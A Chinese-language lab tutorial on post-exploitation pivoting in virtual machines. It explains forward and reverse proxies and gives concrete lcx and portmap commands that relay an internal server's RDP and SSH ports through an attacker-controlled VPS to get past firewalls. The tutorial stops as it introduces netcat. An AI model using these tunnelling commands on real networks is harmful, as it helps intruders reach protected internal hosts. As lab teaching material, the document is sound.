1. 环境配置
该操作在vm虚拟机中完成,提前安装了Windows7、kali linux、Windows server2008。
将虚拟机的主机关机之后,通过链接克隆的方法克隆了三台主机,其中也用到了其他临时使用的机器,但是主要还是这三台机器。
分别是win7、server2008、kali linux
因为需要从不同的角度来进行配置ip地址,所以在这里先不固定ip地址。
参考链接:
https://mp.weixin.qq.com/s/ODX9gsw6nsWbbdBz6wRY5A
首先将两个windows下的主机防火墙关闭
windows 7 :192.168.238.13
Windows server2008 :192.168.238.14
互相ping检测:
打开winserver2008的3389远程桌面访问
然后再设置开启3389
2. 内网代理
内网代理分为以下两个部分:
正向代理:已控服务器监听端口,通过这个端口形成一个正向的隧道,由代理机器代替主机去访问内网目标。但是内网入口一般处于DMZ区域有防火墙拦截,无法直接进入内网环境。
反向代理:由内网主机主动交出权限到代理机器,然后本地去连接形成反向代理。例如:VPS监听本地端口,已控内网服务器来连接此端口,形成一个隧道。如果内网设备连接外网,就无法回弹只能再想其他办法。
3. 转发
端口转发
端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,拿到公网shell和内网shell之后,无法直接接入目标内网,需要进行端口转发将内网的端口转发到我们的网络环境可以接入的跳板机上面从而进行连接,常见的端口转发方式有很多,例如lcx工具转发,nc反弹,socket代理, ssh隧道代理转发等等,这里暂时只对LCX工具进行介绍,其他方式后续陆续讲解。
4. LCX
Lcx是一款端口转发工具,一般使用条件:
内网服务器可以出网
服务器在外网,但是服务器安装了某些防护禁止敏感端口连接,如果发生这种,可以查看哪些端口允许传输数据,用这些端口将3389端口进行转发。
4.1 windows下使用
直接使用lcx.exe在两个主机上进行使用
首先在内网机winserver2008上使用端口转发
Lcx是一种一对一的端口转发,效率比较低,而且又可能会被杀软杀掉。
lcx.exe -slave 192.168.238.14 6666 127.0.0.1 3389
然后在攻击机上
Lcx.exe -listen 6666 7777
此时就将内网08的3389的流量转发到了VPS的7777端口上,此时使用mstsc来访问公网的7777端口,相当于访问内网的3389端口。
4.2 Linux下用
这里使用的是一台 Ubuntu 16.04 10.211.55.14
还有一台kali linux 10.211.55.23
Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename] -v: version-h1: host1-h2: host2-p1: port1-p2: port2-log: log the data-m: the action method for this tool1: listen on PORT1 and connect to HOST2:PORT22: listen on PORT1 and PORT23: connect to HOST1:PORT1 and HOST2:PORT2
在设置的时候,首先要在VPS机上运行监听的端口(如果首先运行内网机的话,会一直显示连接错误)
在VPS上运行
./portmap -m 2 -p1 6666 -p2 127.0.0.1 -p2 7777
监听本地的6666端口,再将流量转发到本地的7777端口上去
在内网机Ubuntu上进行运行
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 10.211.55.23 -p2 6666
将本地的22端口的流量转发到10.211.55.23的6666端口上去
当双方建立连接之后,VPS端就会显示现在将流量转发到7777端口上
然后在这个机器上再进行连接:
5. Netcat
Netcat 号称 TCP/IP 的瑞士军刀,kali里面是自带的,在Windows中需要单独去使用,netcat简称为nc
文件下载地址:
https://eternallybored.org/misc/netcat/
nc所具有的功能如下: